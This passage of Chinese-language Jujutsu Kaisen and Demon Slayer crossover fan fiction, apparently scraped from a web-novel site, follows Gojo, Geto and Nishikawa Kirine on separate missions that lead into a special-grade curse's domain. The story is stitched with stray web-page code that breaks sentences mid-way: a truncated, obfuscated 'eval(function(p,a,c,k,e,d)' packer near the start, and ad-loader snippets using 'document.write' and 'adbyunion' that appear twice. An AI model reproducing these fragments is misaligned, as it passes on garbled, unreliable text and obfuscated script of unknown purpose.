家入硝子看了看他,非常冷静地下了结论:“是跟五条又做了什么见不得人的交易吧。” “喂喂硝子,不要用一副‘人渣’的表情看我啊,”夏油杰哭笑不得,“只是让悟帮我找个东西而已。” 家入硝子一脸“果然如此,你们就是这样诡计多端的男孩”,但嘴上却话锋一转:“是跟雾音有关的吗?” 夏油杰歪头看了她一眼,狭长的眼尾随着他微微露出的笑意轻轻上挑。 他并没有回答,也没有否认。 家入硝子已然明了了答案。她长长地哦了一声,然后扭过头去,重新看向场内。 夏油杰眼睛微弯,慢慢道:“也许是因为特殊的刀法,雾音总是以斩断对方的头颅为目的去挥刀——当然不是说这样不好,对待咒灵这样的东西,自然是一击必中最好……但是雾音要面对的不仅仅是这些非人的生物。” 夏油杰抿起唇,稍稍正色:“挥刀,是不能有任何犹豫的。现在的雾音不管是面对咒灵还是诅咒师,都能毫不犹豫地举起刀,可是以后重新找回情感的她再面对这些,心中还能毫无波澜吗?” 自从那天看到女生毫无知觉地流泪时,夏油杰就猜测诅咒也许其实从来没有真正吞噬过她的情感。 许是用了什么方法将感情埋藏在她身体的某一处,总之将她变成了现在这样看上去对什么东西都不过心的样子。 “悟的无下限术式会让雾音的刀永远无法在他身上留下痕迹,她也就不得不选择其他方式同悟对战了。”夏油杰说着,侧头对硝子眨了下眼。 家入硝子则是翻了一个大大的白眼:“五条知道你这样坑他吗?而且你这家伙,竟然连以后都想到了,啧……” 黑发的男高中生笑眯眯地耸了下肩。 而被两人谈论的话题主角还在激烈对战中。 西川雾音觉得自己被忽悠了。 因为这明明只是一个近身搏斗对练。在之前与夏油杰对练的几次,他们都严格地遵循了夜蛾老师的要求,不使用武器和咒力,只用单纯的体术。 但是到了五条悟这里,他从一开始身上就像是包了一层透明的水膜一般,无论西川雾音用什么方法都不能接触到他,更别提用体术将他撂倒了。 更过分的是这家伙还会无差别地开启嘲讽模式。 “只是这样就不行了吗?好弱诶——”白毛脑袋总会一脸无辜地睁大蓝眼睛这么说。 西川雾音当然不会被挑衅到,她仍会继续认真地按照夏油杰教的方法去试着攻击对方。 五条悟自然是觉得她板正到无趣:“嘛嘛~你用那什么呼吸法啊,我听杰说过诶,你还可以用雾做刀,快点用出来啊,跟老子打架。” “不要。”西川雾音拒绝他。 但是当五条悟举起手指开始搓蓝色的咒力球掷向她时,西川雾音才向后跃着拉开距离。 她仍带着困惑:“不是体术训练吗?” 白毛脑袋笑嘻嘻:“从现在开始,就是one to one的咒术指导了!五条老师的出场费超贵哦!” 西川雾音歪头看了他一会,垂在身侧的手五指张开,丝状的雾气慢慢在她的掌心凝结成刀状,语气真诚: “训练场打坏了要赔吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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夜蛾正道直接按在气鼓鼓的白毛脑袋上,压着他的脑袋往旁边转:“好了,说正事。有新的任务要交给你们。” 听到任务两个字,几个人也不再嘻嘻哈哈的,站成一排看向夜蛾正道。 夜蛾正道正色着:“临时有三个任务需要你们去做。除了硝子不出外勤外,悟、杰还有雾音你们三人一人领一个。” “这么快就有新任务了吗?”夏油杰皱了下眉,“之前不是要求必须两个人组队完成任务,现在已经可以单独做任务了吗?” 夜蛾正道拍了拍抱着的文件袋:“你们的评级已经下来了,所以高专允许你们单人做任务。这次任务结束后就能够拿到评级证。” 夜蛾正道说着,将手中的文件递给夏油杰,夏油杰将里面的资料拿出来分给旁边的同期。 他们三个人的任务都很简单扼要。 悟是前往长野解决一所医院内出现的二级咒灵,他是前往神户的一所学校解决因学生怨念而生的二级咒灵,雾音则是去仙台的一所孤儿院。 资料看上去并没有什么问题,除了硝子留守在高专外,三个人被分别分到了相隔甚远的不同城市。 夜蛾正道在交代了他们任务的时间和明天会等待他们的辅助监督后就急匆匆走了,留下来的四个人也没有再继续对练,一齐走出了训练场。 回去的路上,因为西川雾音是第一次出任务,夏油杰就走在她旁边,简单但详细地轻声跟她说一些需要注意的事情。 五条悟走在最左边,跟西川雾音还隔了一个硝子。 他双手交叠在后脑,仰头望着天也不知道在想什么,难得这么安静。 一直到走到宿舍楼下,他才侧过头看向还在说话的两个人: “喂,跟老子换任务。” 夏油杰停下了嘴边的话,抬头看向站在另一边的同期。 西川雾音慢了半拍跟着仰头去看夏油杰,顺着他的目光望过去,才意识到五条悟是在跟自己说话:“我?” 五条悟看着她,维持着双手交叠头枕着手的姿势,露出墨镜后湛蓝的眼睛,轻轻眨了一下:“仙台诶——毛豆奶油味喜久福超——好吃的!” 14.第十四章 今天的天气不太好。 天阴沉沉的,野风卷着残云,看上去风雨欲来。 西川雾音坐在黑色的轿车上,隔着透明的车窗望着山野。 也许是许久未清洗,窗户上有隐约的几道褐色痕迹,衬得那些郁郁葱岭恍如陈迹。 一道黑影从窗边急掠而去,展翅冲上云天。 西川雾音的视线便随着这道黑色的残影向上望去。 很快,它又俯冲下来,用与车平行的速度跟在雾音的脸侧。 这是一只鎹鸦。 西川雾音伸出一根手指,隔着车窗玻璃轻轻点了点它,它便仰头鸣叫,盘桓几圈,扭头向另一个方向飞去。 黑色的影子很快就消失在了灰色的云里。 西川雾音看着它远去,将头轻轻抵在车窗上,闭上了眼睛。只有坐在驾驶座上开车的男人时不时会从倒车镜里看向她。 今早是夏油杰送她去与辅助监督汇合。 他们三人的任务时间不同,出发时间也不一样,因为跟五条交换了任务,西川雾音就成了最早要离开的人。 男生好像一直不太放心,前一晚叮嘱过的事项在早上的时候又说了一遍。 讲完自己也很无奈地笑了一下,说很抱歉,他知道有些啰嗦了,但是他还是想说。 这个人,明明看起来温和雅良,却会在不经意地时候显露出些许地傲气与强势。可又不会让人感到不适。 像产屋敷大人一样。西川雾音这么想着,点了点头认同自己,很像产屋敷大人。 西川雾音歪着头靠在那里,轻轻勾了下唇角。 从高专到长野,开车要三个多小时。 坐在驾驶座的辅助监督可能以为西川雾音已经睡着了,连车速都开得更平稳了些许。 虽然是辅助监督,但是看上去只有二十出头,并没有比他们大多少。他在早上见到西川雾音的时候还以为是自己接错了人,不得已只好打电话给任务原主。 等听到被电话吵醒的大少爷嗡着声音说,再吵他睡觉就要飞过来打嘴巴后,年轻的辅助监督只好畏畏缩缩地挂了电话。 最后还是夏油杰安慰他“悟不喜欢欺负弱者”,对方才露出一言难尽的表情,包着眼泪上了车。 又一次的察觉到似有若无的视线时,西川雾音掀开眼皮,就跟后视镜上的一双眼睛对视上了。 对方反倒着急忙慌地移开视线,然后又犹犹豫豫地看过来,终于小声问了一句: “……那个……西川同学……长野的任务你看了吗?” 感觉对方好像有些怕她的样子。 西川雾音用手指轻轻抓了下脸侧,将身子重新坐正回来:“看了。” 因为是二级咒灵,所以长野的任务只是中等难度,唯一麻烦的地方是咒灵出现在医院里。 咒术师祓除咒灵是需要放【帐】的。 【帐】一般是为了防止非术师看到咒术师祓除咒灵从而使用的一种结界术,但是医院不像其他地方,能够经过协调后暂时地清空普通人。 “……所以院方的唯一要求就是,希望在不惊动病人的前提下祓除咒灵。也就是说我们大概率是不能疏散病人的。”辅助监督一边开车一边解释着。 西川雾音听完点点头,她倒是不担心这个,她想的是这次他们三个人的任务地点,从某种程度来说是一样的。 长野的医院、神户的学校、仙台的孤儿院。 这三个地方都是不容易疏散人群、不好放【帐】的地方,尽管是二级咒灵,也让他们的祓除变得没有那么简单。 真的会那么巧的事吗? 西川雾音拨弄着自己的手指,视线再次望向已经看不到黑影的天空。 这个时间,杰还有五条,他们应该也动身了吧? - 在通往仙台的黑色轿车上,五条悟直直地将自己的长腿伸到驾驶座和副驾驶中间,双手压在脑后,黑色的墨镜也遮在眼上,一时让人辨不出是睡着了还是清醒着。 天已经渐晚,夕阳的余晖将天映得一半粉紫,一半黛灰。 田野被抛在身后,车道上只有这一辆黑色的轿车疾驰着,企图在太阳没有被灰云完全吞掉前抵达目的地。 车内很安静,只有清浅的呼吸交替响起。 辅助监督又一次看向倒车镜里映出来的人影后,伸手拿起了手机。 辅助监督神色有些沉肃——任务竟然换人了。 他必须要立刻向上面汇报此事。 在今天之前他还在京都。 他是家族专门从京都调来的辅助监督,只为了能够确保让这次的任务以失败告终。 却没想到他接到的却是这个祖宗。 辅助监督紧皱眉头,手指在键盘上飞快的打字,简洁扼要地将两人交换任务的事写了出来。 等发送邮件的信封飞出去,屏幕显示发送完毕后,他才松了口气,将手机重新放到一旁。 但他仍不忘从后视镜中去窥探后座上的男生的情况。 男生仍然维持着大大咧咧的姿势一动不动,呼吸平稳。 只是由于那副墨镜始终戴在他的脸上,辅助监督也无法从那副纯黑的墨镜上看透镜片后那双令咒术界生畏的“六眼”。 他只能暗自庆幸这位出了名难缠的大少爷大概是真的累了在休息。 他这般想着,车开得也愈加平稳起来了。 等最后一抹斜阳也被浓云遮住,夜晚真正来临的时候,五条悟轻轻眨了一下漂亮的蓝眼睛。 纤长的白色眼睫轻划着黑色的镜片,澄澈璀璨的蓝瞳转动着终于从前面男人的身上移开,看向了头顶的车顶板。 倘若此时有人在车外,就会看到黑色的车顶上站着一只黑色的鎹鸦。 鎹鸦收拢羽翅,站得板正直挺,只有脑袋时不时动一下,以表示自己是个活物。 - 夏油杰到了学校才知道,两天里已经有好几个学生在学校里无故失踪了。 因此哪怕不在假期里,学校也以维护教学楼的借口给学生放了假。 相比较无法疏散和转移病人的医院,夏油杰的情况要比西川雾音好上许多——最起码能放【帐】了。 非术师无法看到的黑色的【帐】倒扣在整个学校上,因为空无一人,往日里算得上巍峨的高大建筑,也在此时像是蛰伏的巨兽般隐在夜色里。 壁虎状的咒灵成数对攀爬在教学楼走廊的天花板上,搜寻着可能存在的咒灵和失踪的孩子。 夏油杰则是手插着兜,远远坠在后面。 天已经黑了,也没有灯,整个学校黑黢黢的,但是丝毫没有影响到夏油杰的视线。 他正走在三楼的走廊里,闲庭漫步,偶尔在某些角落前会停下脚步,若有所思地打量片刻后,又继续往前走。 在他路过二年级教室时,裤袋里的手机嗡嗡震动起来,他掏出手机,连联系人的名字都没有看,视线仍逡巡在两侧的教室里,口吻却熟稔随意: “到了?比预想的时间慢了一点啊。” 听筒里的声音略显不满,拖着尾音:【下雨了啊下雨了,天气预报都说今天有大雨诶——那家伙开车技术真的超臭的!竟然还敢在下大雨的时候边开车边玩手机,还差点撞到路边的围栏上,啊真是气死了——】 夏油杰不紧不慢地嗯了一声,蹲下身,手指轻轻拨开掉落的书本,从最下面捡起了一条蓝色的绢手帕,在手帕的一角里绣着名字。 【……喂,杰,你有没有再听老子说话啊?太敷衍了吧你?再嗯就打爆你咒灵的头啊!】 听到咒灵两个字,夏油杰总算摆正了几分态度,语气严肃正经:“悟,你那边的雨下得确实有些大,信号有些不好,但是我还是听到了你说你把专门从京都来的辅助监督的头打爆了。” 【哈?老子明明说的是用苍把他的手机打掉好吗?!】 夏油杰啊了一声:“用苍打掉手机,确实是你的风格了。” 【什么啊——你给老子认真点啊!】 夏油杰无奈地掀着眼皮,眼睛转动着往上:“所以——你那里情况怎么样?雾音那边解决得差不多了,医院里的确实是二级咒灵。” 【哦——想来那些老橘子也不敢用这种事来骗老子,最多也就是别的地方使点绊子。你那边呢?怎么样?就算是在学校里,以杰的宝可梦数量,很轻松就能解决掉吧?】 “是不是有跟你说过很多次不要叫我宝可梦大师……”夏油杰仰着头看向天花板上被裹成白色 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 茧状物的东西,“你说的很对,他们真的是很了解我们,二级咒灵对我们说不是什么问题,但是我们总要顾及到那些普通人……” 【哇哦……所以是把学生当成人质了吗?看来杰的首次单人任务出师不利啊,怎么样,需要召唤最强吗?面朝北土下座,再高呼三声‘五条大人’,有一定概率能够获得‘最强的青睐’buff……】 夏油杰无语地看了一眼正在通话中的手机,打断了还在施法中的同期:“首先,我可没认同你是最强,其次,就算用整个学校做人质,我也完全有信心能将咒灵祓除掉,最后,我看需要召唤最强的应该是你吧悟,在这跟我打电话不着调地讲了这么多都还没冲进去用苍放烟花,说吧,你那边什么情况?” 听筒里诡异地安静了片刻,然后就传来嘟囔声:【这么聪明吗杰?杰有那么聪明吗?不会已经被咒灵吃掉,被替换掉了吧?】 夏油杰极有耐心地听着同期发牢骚,同时自他身后的阴影处慢慢显现出咒灵的模样,攀爬到各个角落里的“壁虎”也都围拢过来,虎视眈眈地盯着天花板上有着庞大身躯的怪物。 【喂,杰。】 “嗯?”夏油杰轻轻嗯了一声。 【孤儿院是废弃的,里面是一只开了领域的特级咒灵。】 【老子这次回去,夜蛾不给老子评个特级说不过去了吧?】 大概是嗅到了陌生的气息,天花板上令人作呕的怪物缓慢蠕动了一下,睁开了身上所有的眼睛。 夏油杰还举着手机,声音平静:“好啊,那你最好动作快一点,不然等我过去了,特级是谁的就不好说了。” - 惶惶夜风吹开了西川雾音的长发。 她站在医院的顶楼,手里攥着墨色的咒灵玉,像是看到了什么般,蓦得回头望向北面。 辅助监督刚打完电话,见她面色沉凝地向北看,也跟着望过去,只能看到霓虹灯下绚丽的城市,有些摸不着头脑地问她怎么了。 西川雾音仰头将手中的咒灵玉塞进嘴里,扶着脖子吞咽下去之后,看向吓了一跳的辅助监督:“抱歉,我有些事要先离开。” 辅助监督从没有见过生吃咒灵玉的人,有些结结巴巴:“你……西川同学你要去哪?你不回学校吗?” 西川雾音摇了下头,低声道:“我要去仙台。” 五条有危险。 鎹鸦告诉她了。 仙台的任务本来应该是她的。 她将手伸进口袋里,却摸了空,手机不知道在什么时候弄丢了。 于是只好将手又掏出来。 辅助监督反应了一下,然后张大嘴巴:“西川同学……你不会是现在要去找五条同学吧?可是,神户到仙台有644公里啊……” 西川雾音脚踩在台子上,微微用力,就站在了十几层高的天台边缘。她高举起右手,夜风卷着白色的雾从她的右手开始暴涨。 辅助监督被骤然旋开的风吹得后退一步,忍不住抬起手臂遮在脸前。当他再次看向西川雾音时,震惊地看到黑色的风携着黑色的羽毛在空中慢慢显出一只巨大的乌鸦形状。 这是产屋敷一族特有的咒具,鎹鸦。 往日里只是乌鸦的形状,当真正将它作为咒具使用时,鎹鸦就会从身体里长出来,能以最快的速度将她带到她想去的地方。 ——可惜的是,一只鎹鸦有且仅有一次使用的机会。 西川雾音仰头看着头顶巨大的鎹鸦,她的整只手臂都被黑色的羽翅包裹住,往上与粗糙尖利的指爪长在了一起。 辅助监督被眼前这一幕惊到说不出话,讷讷地长着嘴:“……西川同学……” 回应他的只有倏然扑扇的黑色翅膀和高亢的鸣叫。 高大的鸟类扑打着翅膀,开始慢慢向上,西川雾音坠在它的指爪下,也随之腾空而起。 “西川同学!——” “没事的,监督老师,普通人看不到鎹鸦。” 辅助监督扑到天台边,无助地看着渐渐远去的女生,他担心的根本不是这种事啊! “监督老师,”她站在空中,低头看着扒着天台的辅助监督,“老师,我的手机好像落在医院里了。如果杰找我,你可不可以帮我跟他说我去仙台了?” 15.第十五章 【以下记录—— 2005年4月27日19点27分 仙台废弃孤儿院内,原“窗”观测到的二级咒灵数据有误,确认出现特级假想怨灵(名字未定) 高专派出1名一年级生前往袚除,然后失去消息 随后不久,又有1名一年级生进入孤儿院内,失去消息 截止到目前,两人确认失踪37个小时】 - 五条悟刚推开门走进去,身后的门就消失了。 他微挑了下眉,哇哦了一声,才将视线收回来,刚准备迈出去的步伐顿了一下,停在了原地。 是银杏。 圆润扇形的绿叶层叠繁茂地坠在细长的枝桠上,随着微风在他眼前摇动。 五条悟慢慢眨了一下银白的眼睫,还是银杏。 铜片相撞在一起发出脆响,铃声挟着长风从他脑后倏然吹过,白色的额发前一秒还在墨镜前纷飞,下一秒风停,古朴沉肃的旧宅平地而起。 五条悟看了看面前熟悉的建筑,低下头,伸出的手臂上果然不再是高专那包裹性极强的黑色校服,而是银白暗纹锻的宽大袖幅。 柔软、细滑,水一般铺在身上。 鼻梁上的墨镜也不见了。 “悟大人。” 五条悟扭过头去看,身穿浅蓝和服的黑发女人举着伞立在他身后,对他微微一笑:“悟大人,要回去了。” 五条悟盯着她看了半晌,举起右手,食指和拇指交叠在一起,两秒后又放下。 他什么都没说,也没有动,就站在原地看着那女人。 五条悟记得她。 是五条家分支的人。 他六岁之前,在他没有完全掌握“六眼”和无下限术式之前,一直是这个人守在他的旁边。 他这般想着,垂下的手指再次起式,仍旧无法用出【苍】来。 他知道这是特级咒灵的领域。 在他的眼中,眼前的人和这座宅子,都不过是无数咒力交织搭建成的假象罢了。 “悟大人?家主还在等您。”女人轻声提醒着。 “不去。”略显冷淡却又稚气的声音从他嘴里发出。 随着他的回绝,女人的身影像是水中镜花般晃了一下,然后就渐渐淡去。 五条悟眼看着她消失,皱眉嘟囔了一声“什么鬼”,再扭身,却发现自己站在了院墙上。 低头去看,身上已经换了套月白锻和服,踩着木屐,半蹲在墙上正准备往下跳。 五条悟:“……” 他索性就着这个姿势蹲在那里,歪着脑袋回忆这是自己几岁时发生过的事。 但遗憾的是,他开始读书后逃课溜出去玩的次数数都数不清,本人自己也不记得了。 在墙上等了一会,也没等到来抓他去上课的人,于是干脆就这么跳了下去,跳出了这座压抑陈旧的古宅。 脚刚触地,五条悟身周的景象又变了。 他站在刚亮起绿灯的斑马线前,人来人往间,只有他一个人站在原地没有动。 五条悟抿了下唇,他突然想起来这是哪一天了。 “喂,你真的还在这里啊!”一个略带惊喜的声音响起,然后是一只草莓加巧克力的双球冰淇淋被递到了眼前,“喏,送给你!” 五条悟看了看那只冰淇淋,抬眼跟一个背着书包的孩子对视上。 男孩笑弯着眼睛,手上维持着递出的动作看他。 五条悟看着他好一会,才慢慢伸手接过了这只冰淇淋。 这是五条悟第一次吃冰淇淋。 这一年,他八岁。 五条悟其实已经想不起来这个逃出家时偶然遇到的孩子叫什么名字,也记不清自己逃课出来后做了什么事,他只知道遇到这孩子后没多久,这个孩子就死在了咒灵嘴里。 没有什么阴谋阳谋,只是单纯的命不好罢了,因为在回家的路上遇到了二级咒灵。 可惜这孩子没什么天赋,只是一个普通人,哪怕在极度的恐惧下也看不到、察觉不到杀死他的是什么东西。 而五条悟却在这一次战斗中学会了【苍】。 年仅八岁的“神子”在面对被啃食了一半身体,仍然还存有些许意识的男孩时,没有任何犹豫地打出了【苍】。 二级咒灵被祓除了。 男孩的身体也随着咒灵一起烟消云散。 官方在事后将其定义为一场老旧楼房坍塌导致人员伤亡的意外事故。 普通人啊。 五条悟低头,慢慢舔了一口冰淇淋球。 男孩看到他吃了,露出大大的笑容,然后对他挥手:“我要走了!再见!很高兴认识你!” 五条悟又舔了一口冰淇淋,安静地看着他,男孩还维系着挥手的动作,连表情都未变分毫。 五条悟终于开口:“再见。” 男孩这才动了,背着书包跑远。 五条悟站在原地看着他,一只手拿着冰淇淋,另一只手抬起,这一次蓝色的光终于在他的指尖凝聚起来。 【苍】打在了咒力最活跃的地方——也就是那个男孩的身上。 当蓝色的光乍开,五条悟眯着眼睛再伸出舌头的时候却舔了个空。 一低头,冰淇淋没了,月白和服重新变回了黑色的高专校服,手掌也变回了正常成人大小,刚刚身周攒动的人群也消失不见,成了一片虚空的白。 “也太小气了吧……好歹让人家吃完啊……”五条悟不满地皱了下鼻子,“搞什么啊,你这领域的用处不会就是在这放回忆的电影给老子看的吧?还是你以为老子会上当,一边痛哭流涕,一边做出截然不同的选择?” 他仰头哈哈笑了两声,右手指尖蓝色的光映在他脸上,和着那双苍蓝色的眼睛,像是极致的冰。 笑意和情绪已经从他的脸上褪去,他冷淡道:“只有弱者才会后悔自己做过的任何决定。但老子是最强。” - 西川雾音抵达仙台的时候,已经过了第二日的零点。 在落地的瞬间,鎹鸦便化成了一缕黑风散去。 因为长时间地用右手臂支撑身体吊在空中,哪怕有呼吸法撑着,尽管对痛觉已经不怎么灵敏,仍让雾音感到一丝酸痛和不适,她索性将日轮刀的刀鞘绑在了右臂上固定。 阴沉了一天的灰云终于淅淅沥沥地滴了几滴雨,落在黑色的校服上洇出深色的圈。 可还没等人回过神来,雨又下得密了起来,一眼望去,细长的雨线给入目的一切蒙上白茫茫的水帘,连带着眼前废弃的孤儿院都好像长在了云雾里。 一道炸雷猝不及防响起,伴随着银色发紫的闪电柱,一下子便映亮了这栋黑黢黢的破旧建筑。 西川雾音将日轮刀抽出,握在手心里,走向紧闭的大门。 走了两步,又像是想起了什么,她举起左手,食指与中指并拢,学着辅助监督的样子低声道:“由暗而生,暗中至暗,污浊残秽,尽数祓除。” 黑色的【帐】流泻下来,将整个孤儿院笼罩在其中。 西川雾音穿过常人看不到的黑幕,来到大门前。她握紧手中的刀,猛得推开了长满锈迹的铁门。 但当看清里面是什么时,她脚步顿住。 不是黑暗的阴沉的旧楼房,而是温暖明亮的客厅。 西川雾音熟悉的岛台餐桌上已经摆放了热气腾腾的饭菜。 “怎么还站在这里?”一只手轻柔地按在发上,“快去坐着,爸爸马上就回来了。” 西川雾音随着头顶的力度点着脑袋,黑发从耳后滑落到脸前,半遮住她的面容。 “雾音?”女人温柔地低头看她。 她仰起头,身边站着的人的脸终于暴露在她的视线里。 西川雾音直直望着女人的脸,碧色的瞳仁一眨不眨,像是想要将这张脸刻在脑海里。 垂下的左手慢慢翻正手腕,隐在她背后的日轮刀反出冷光。 - 五条悟已经把这片虚无的白空间给轰了一遍了。 可就像是拳头打进棉花里一般,哪怕是200%的苍,也没能将这个空间破开口子来。 于是他就这么盘腿坐在了地上,手肘抵在膝上,手抻着脸,蓝眼睛在墨镜后面直接闭上,看上去烦躁又不满。 因为没有白天黑夜,一直是这副明晃晃的白色,感知力对于时间的流逝都变弱了。 一天?还是两天?还是更久? 五条悟也不确定时间过去了多久,但总之一定超过了一天,因为他已经切实地感觉到了疲惫感。 为了以防万一,他一直维持着无下限术式,这种消耗对于现在的他来说还是过量了。 尤其一睁眼还是一大团乱如麻的咒力挤在这片空间里,眼睛疼,头也疼。 五条悟伸出手指按在太阳穴上,突然就想起了那支草莓加巧克力的双球冰淇淋。 如果现在有一支冰淇淋就好了…… 他只是这般想着,本不该在幻象里品尝到的有些发腻的甜,好像又在唇齿间蔓延开来,嘴里也生出了口津,就好像真的有冰淇淋融化在了嘴巴里。 ——不对! 五条悟蓦地睁开眼睛,面前已经不再是虚无的一片,熙熙攘攘的人声重新灌入他的耳中。 他竟又一次回到了八岁那天。 他低头去看手里有些化了的冰淇淋,奶油顺着脆边慢慢溢了出来,滴在了他的手里。 “这个送给你!”男孩笑容灿烂地对他挥手,“我要走啦!再见!很高兴认识你!” 五条悟看着他,没有去管手心里融化的冰淇淋,轻眨着眼睫。而男孩也始终维系着这个姿势,像是还在等待着他的回复。 整个世界好像都在为他们停摆。 他好像知道这个领域的条件了。 于是他张开嘴,语气拽得要死:“喂,再往前走就死了哦。” 苍蓝眼睛定定看着他,说出的话却像是顽劣的孩子在吓唬他:“会被怪物啃得面目全非,到死都不知道自己为什么会死的死法。” 男孩终于露出了不一样的神情。 他看上去有些茫然,好像是听不明白五条悟在说什么,紧接 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着他的身体就被甩了起来,黑色的皮质书包掉在地上发出沉闷的声响。 男孩困惑地低头,什么都看不到,只能看到地面上不断晕染的大片殷红。他伸出手去摸,却摸到了被啃食的参差不齐的腰腹。 他像是被什么东西叼在嘴里,只剩半截身子横在空中,他终于想起了还在地上的五条悟,扭头慢慢看向他。 五条悟一言不发地看着这一幕。 他变回了八岁时候的样子,脸上没有墨镜,男孩狰狞的惨状和他身后恶心到令人作呕的咒灵直扑进他的眼底。 ——特级咒灵在此刻终于现身了。 男孩还在对五条悟伸手,神情迷茫纯真。 下一秒,咬着他的怪物便冲向了还站在那的五条悟。 “……哪怕是在这里,你都看不到杀了你的究竟是什么怪物……”五条悟低低道,“不过,你已经将它引出来了。做得很好。” 蓝色的苍一发又一发的打在特级咒灵幻化出的幻象上,像是炸开一簇又一簇的蓝色花火。 可只有五条悟知道,他的无下限术式已经要到极限了。 更别说现在他的身体还是八岁时候的样子。 但好在还是有效果的。 也不知道是具体打到了哪个位置,整个空间突然闪烁了一下,周遭的一切虚晃着,隐约看到了另一个空间的景象。 黑色的长发,与他对视上的浅碧色的眼睛,和她身后挤满了整个空间的庞然大物。 五条悟二话不说,捏着苍就往那处轰。 断了一半的青色长刀同时被对方甩出,边缘燃起点点流焰,撞在透明的空间上,摩擦出一长串火花。 断刀横空而过,以不可阻挡之势横贯咒灵扭曲的触手,死死钉在了地上。 五条悟从天上被甩下来,勉力维系的无下限术式终于散开。 他坐在地上,将长长的月白袖幅拢在怀里,仰头看着因为剧痛,在自己头顶乱甩的巨型触手,一双蓝瞳亮到骇人。 就在那触手要砸到五条悟的身上时,整个空间震动起来,像是从外面受到重击。 紧接着一道横贯的裂缝从下而上撕开这个幻化出的空间,漆黑的巨刀燎着红焰砍在了咒灵的脖颈处,蓝色的苍和巨大的龙首也一同撞在它的脖子上,彻底将它的头斩断。 倾盆的大雨瞬间倾泻在脸上,五条悟伸手抹了把脸,长长喘了口气,仰头往后看:“来得也太慢了吧?所以这特级咒灵到底算谁的?” 【帐】在空中慢慢消散,空地上重新露出一栋废弃的四层建筑。 男生举着把伞,踏着雨窝走过来,他身侧显露的半个龙首中还衔着一个人。 伞面微微扬起,露出男生昳丽的面容。 他声音轻缓温和,挑了下眼尾:“49个小时。你们两个已经失踪了两天了。尤其是你,是准备要吓死外面的人吗?” “竟然才两天吗?老子在那里面还以为自己被关了两年。而且老子死没死,他们能不知道?”五条悟手撑在地上,歪头打量着虹龙嘴里的人,“果然是那个能控制咒灵的组织?” 夏油杰嗯了一声,视线落在前方,脚步都没停,举着伞就越过了五条悟。 猝不及防再次被雨淋了一脸的五条悟忙抹了把脸:“干嘛啊你……呸呸……别再往前了,杰,那家伙正盯着你呢。” 倒在地上的人被长着四只眼睛的特级怨灵守着,地上仍有点点尚未烧完的余焰明明灭灭,围在西川雾音周围。 夏油杰虽然看不到,但对咒灵他比任何人都要更敏锐,可他也只是顿了一下,就踏进了烧得发黑的圈子里,伸手抱起了躺在地上的雾音。 变成孩子的她身上穿的藏青校服已经被雨水打湿,上衣胸口处还绣着青南小学的字样,黑色的头发也粘在苍白稚嫩的脸上。 她眼睛还睁着,因为力竭,看到夏油杰也只是眼珠子转了转。 还好只是变小了。 夏油杰神情松了下,终于扬眉露出笑容来,对她轻声说:“监督老师把手机给我了,他让我带给你。” 西川雾音听了,勉强伸出手,轻轻拉了一下他额前垂下来的发丝,夏油杰顺着她的力度往下低头,她只是伸出手轻轻拍了拍他的头发,然后就疲惫地靠在他的胸前。 夏油杰稳稳托着她的双腿,雨伞也更多地往她的方向倾去。 五条悟在那边已经仰面躺在地上,实在懒得动,侧着头看夏油杰单手抱着小女孩,也拖着长音叫着:“杰——把老子也扛回去吧,累死了——” “自己爬。”夏油杰终于看了他一眼,挥挥手给他招了个三角羊,“刚刚还是应该把那个特级留下来。我吸收了的话,应该就能把你们变回来了。你俩现在这个样子,回了高专,硝子会吓一跳的。” “那种认主的咒灵你也吃得下去?”五条悟爬上三角羊,低头看了看自己变短变小的手,笑嘻嘻,“硝子被吓到的样子,还没见过诶,想看看!不过,杰,你就没有再多带一把伞来吗?” 夏油杰轻轻旋了一下伞柄,看向同期的表情无辜:“啊,你还需要伞吗?” 16.第十六章 尽管汽车的空调暖风已经嗡嗡着开到了最大,西川雾音还是打了几个喷嚏。 寒意沿着湿透的校服衬衣渗透进皮肤里,在这个暮春的夜晚,冷得让人忍不住打起寒颤。 西川雾音很怕冷。 她连腿脚都缩在一起,双臂环膝,闷不吭声地蜷在后排,湿漉漉的头发也像海藻一样凌乱散着,露出乌黑的脑袋。 她的腿前还横着一把断成两节的长刀。 再来高专之前,刀身上就已经遍布密密麻麻裂痕的日落刀,在这一次任务中彻底断了。 西川雾音将脸埋在手臂间,只露出半只眼睛看着这断刀,默不作声。 “还是很冷吗?”坐在她旁边的夏油杰敏锐地察觉到了女孩的动作,想了想,把自己身上干着的校服外套脱了下来裹在了她身上。 西川雾音乖顺地任由夏油杰动作,但因为身上的衣服是湿的,哪怕裹得再严实,仍旧让西川雾音感觉寒风从四面八方吹进骨头缝里。 又冷又困又疲,就是此时西川雾音最大的感受。 咒力耗尽、精神在领域中不停地回到过去从而失去对时间感知的疲惫感一波又一波地冲击着雾音的身体。 她想要睡过去,可是身上的冷意和闭上眼睛后就会浮现的领域中的幻象又让她的精神始终处在紧绷的状态。 也许是因为这样,哪怕危险已经解除,“鬼”被杀了,诅咒仍如影随形。 像一个巨大的影子,坠在高速行驶的汽车后面,与暗夜融在一起,遮天蔽日。 他知道雾音的状态不太好。 以夏油杰对咒灵的敏锐,哪怕看不到,也能感觉到那股危险的气息始终跟在后面。 只可惜硝子也被突如其来的任务绑在学校里,半刻也不能脱身离开。不然哪怕没有硝子的反转术式,以硝子心细的性格,也会比他更能想到女生需要些什么。 夏油杰想着,蹙起眉,凝目着虚空的某一点。 而坐他另一边的五条悟也同样神情严肃,难得正经。 过了一会,夏油杰转过头来:“悟,你冷吗?” 被叫了名字的五条悟也扭着脖子看向他:“如果不冷,老子会在这里尝试能不能用无下限隔开身上的湿衣服吗?” 夏油杰:“所以成功了吗?” 五条悟:“哈。失败。” 夏油杰点点头,像是在找着什么,然后手掌摊开,一个紫色的软趴趴的东西凭空出现掉在了他的掌心。 也不知道他做了些什么,这东西扭了两下,突然张开了巨口猛吸一口气,刚刚还软软的身体转瞬就臌胀起来,像一只河豚一样。身上的紫色也因为胀气,从浓艳的紫拉扯成了浅浅的青色。 然后夏油杰就反手把这东西塞到了五条悟怀里。 